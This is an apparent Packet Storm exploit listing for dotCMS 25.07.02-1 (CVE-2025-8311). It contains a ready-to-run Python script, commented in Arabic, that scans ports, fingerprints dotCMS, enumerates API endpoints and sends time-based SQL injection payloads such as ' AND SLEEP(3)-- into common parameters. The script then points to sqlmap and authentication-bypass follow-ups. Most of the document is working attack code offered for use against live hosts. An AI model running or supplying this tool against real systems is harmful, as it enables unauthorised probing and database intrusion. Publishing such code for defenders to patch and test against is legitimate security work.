PACKETSTORM 9.4 CRITICAL

📄 dotCMS 25.07.02-1 Security Scanner_PACKETSTORM:212820

9.4 / 10
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/SC:H/VI:H/SI:H/VA:H/SA:H

Description

dotCMS version 25.07.02-1 python scanning script that looks for remote SQL injection...
Visit Original Source

Basic Information

ID PACKETSTORM:212820
Published Dec 15, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : dotCMS 25.07.02-1 Security Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.dotcms.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211125/ & CVE-2025-8311

[+] Summary : This python script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems.


[+] Usage : * : Save as: poc.py
Run : python poc.py

[+] POC :

#!/usr/bin/env python3
"""
dotCMS SQL Injection Scanner
"""

import sys
import time
import socket
import requests
import argparse
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

class SimpleDotCMSScanner:
def __init__(self, target):
self.target = target
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 10

# قائمة بالمنافذ الشائعة لـdotCMS
self.common_ports = [8443, 8080, 80, 443, 8081, 8082, 8888]

# قائمة بـsubdomains محتملة
self.common_subdomains = [
"demo", "test", "dev", "staging",
"admin", "portal", "cms", "dotcms"
]

# قائمة بـpaths شائعة
self.common_paths = [
"/", "/dotAdmin/", "/html/", "/c/",
"/api/v1/", "/api/", "/application/",
"/admin/", "/login", "/signin"
]

def test_port(self, host, port):
"""اختبار إذا كان المنفذ مفتوحاً"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False

def discover_dotcms(self):
"""اكتشاف إعداد dotCMS"""
print("\n🔍 Discovering dotCMS configuration...")

# تنظيف الهدف
target = self.target.lower().strip()

results = {
"host": "",
"port": None,
"protocol": "https",
"base_url": "",
"accessible": False
}

# تجزئة الهدف
if "://" in target:
parsed = urlparse(target)
host = parsed.netloc
if ":" in host:
host, port = host.split(":", 1)
port = int(port)
else:
port = None
else:
host = target
port = None

# إزالة www إذا كان موجوداً
if host.startswith("www."):
host = host[4:]

results["host"] = host

# تحديد المنفذ
if port:
results["port"] = port
else:
# اختبار المنافذ الشائعة
for port in self.common_ports:
if self.test_port(host, port):
print(f" ✓ Port {port} is open")
results["port"] = port
break

if not results["port"]:
print(" ✗ No open ports found")
return results

# اختبار البروتوكولات
protocols = ["https", "http"]
for protocol in protocols:
base_url = f"{protocol}://{host}:{results['port']}"

# اختبار الاتصال
for path in self.common_paths[:3]: # أول 3 فقط للسرعة
url = base_url + path
try:
response = self.session.get(url, timeout=5)
if response.status_code < 500:
print(f" ✓ {protocol.upper()} accessible at {url}")
results["protocol"] = protocol
results["base_url"] = base_url
results["accessible"] = True

# التحقق من وجود dotCMS
if "dotcms" in response.text.lower():
print(f" ✓ dotCMS detected!")
elif "dotadmin" in response.text.lower():
print(f" ✓ dotAdmin detected!")

return results
except Exception as e:
continue

return results

def find_public_apis(self, base_url):
"""البحث عن واجهات API عامة"""
print("\n🔎 Searching for public APIs...")

api_endpoints = [
"/api/v1/system/status",
"/api/v1/version",
"/api/v1/sites",
"/api/v1/content",
"/api/v1/nav",
"/api/v1/menu",
"/api/v1/widgets",
"/api/v1/containers",
"/api/v1/templates"
]

found_apis = []

for endpoint in api_endpoints:
url = base_url + endpoint
try:
response = self.session.get(url, timeout=5)

if response.status_code == 200:
print(f" ✓ Public API: {endpoint}")
found_apis.append({
"url": url,
"status": response.status_code,
"content_type": response.headers.get('Content-Type', ''),
"size": len(response.content)
})
elif response.status_code in [401, 403]:
print(f" ! Protected API: {endpoint} (Auth required)")
elif response.status_code == 404:
pass # لا تعرض الـ404
else:
print(f" ? API: {endpoint} (Status: {response.status_code})")

except Exception as e:
pass

return found_apis

def quick_sqli_test(self, api_url):
"""اختبار سريع لـSQL Injection"""
print(f"\n⚡ Quick SQLi test on: {api_url}")

# اختبار بسيط لـTime-based SQLi
test_params = ["filter", "orderby", "sort", "id", "type"]

for param in test_params:
test_url = f"{api_url}?{param}=test"

# بايلود Time-based
payloads = [
"' AND SLEEP(3)--",
"' OR (SELECT 1 FROM (SELECT SLEEP(3))a)--",
"') AND SLEEP(3)--"
]

for payload in payloads:
full_url = test_url + payload
try:
start = time.time()
response = self.session.get(full_url, timeout=10)
elapsed = time.time() - start

if elapsed >= 3:
print(f" 🚨 POSSIBLE TIME-BASED SQLi in parameter: {param}")
print(f" Payload: {payload}")
print(f" Response time: {elapsed:.2f}s")
return True

except requests.exceptions.Timeout:
print(f" 🚨 TIMEOUT - Possible SQLi in parameter: {param}")
return True
except:
pass

print(" ✓ No obvious SQLi detected")
return False

def scan(self):
"""المسح الرئيسي"""
print("\n" + "="*60)
print("dotCMS Security Scanner")
print("="*60)

# الخطوة 1: الاكتشاف
config = self.discover_dotcms()

if not config["accessible"]:
print("\n❌ Cannot access the target")
print("\n💡 Try these alternatives:")
print(" 1. python scanner.py localhost:8443")
print(" 2. python scanner.py 127.0.0.1:8080")
print(" 3. python scanner.py your-domain.com")
return

print(f"\n✅ Target found:")
print(f" Host: {config['host']}")
print(f" Port: {config['port']}")
print(f" Protocol: {config['protocol']}")
print(f" Base URL: {config['base_url']}")

# الخطوة 2: البحث عن APIs
apis = self.find_public_apis(config["base_url"])

if not apis:
print("\n⚠️ No public APIs found")
print("\n🎯 Try these common endpoints:")
for path in self.common_paths:
print(f" {config['base_url']}{path}")
return

# الخطوة 3: اختبار SQLi على كل API
sql_vulnerabilities = []
for api in apis:
if self.quick_sqli_test(api["url"]):
sql_vulnerabilities.append(api["url"])

# عرض النتائج
print("\n" + "="*60)
print("SCAN RESULTS")
print("="*60)

print(f"\n📊 Summary:")
print(f" Total APIs found: {len(apis)}")
print(f" Possible SQLi vulnerabilities: {len(sql_vulnerabilities)}")

if sql_vulnerabilities:
print(f"\n🚨 Vulnerable endpoints:")
for vuln in sql_vulnerabilities:
print(f" • {vuln}")

print(f"\n💡 Next steps:")
print(f" 1. Test manually with sqlmap: sqlmap -u \"{sql_vulnerabilities[0]}\"")
print(f" 2. Use the full exploit script with authentication token")
print(f" 3. Check for authentication bypass methods")
else:
print(f"\n✅ No SQL injection vulnerabilities found in public APIs")
print(f"\n💡 Try authenticated endpoints if you have credentials")

def main():
parser = argparse.ArgumentParser(description="Simple dotCMS Security Scanner")
parser.add_argument("target", help="Target (e.g., demo.dotcms.com, localhost:8443)")

args = parser.parse_args()

print(r"""
██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗
██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗
██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║
██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║
╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
dotCMS Security Scanner
""")

scanner = SimpleDotCMSScanner(args.target)
scanner.scan()

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
sys.exit(1)
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.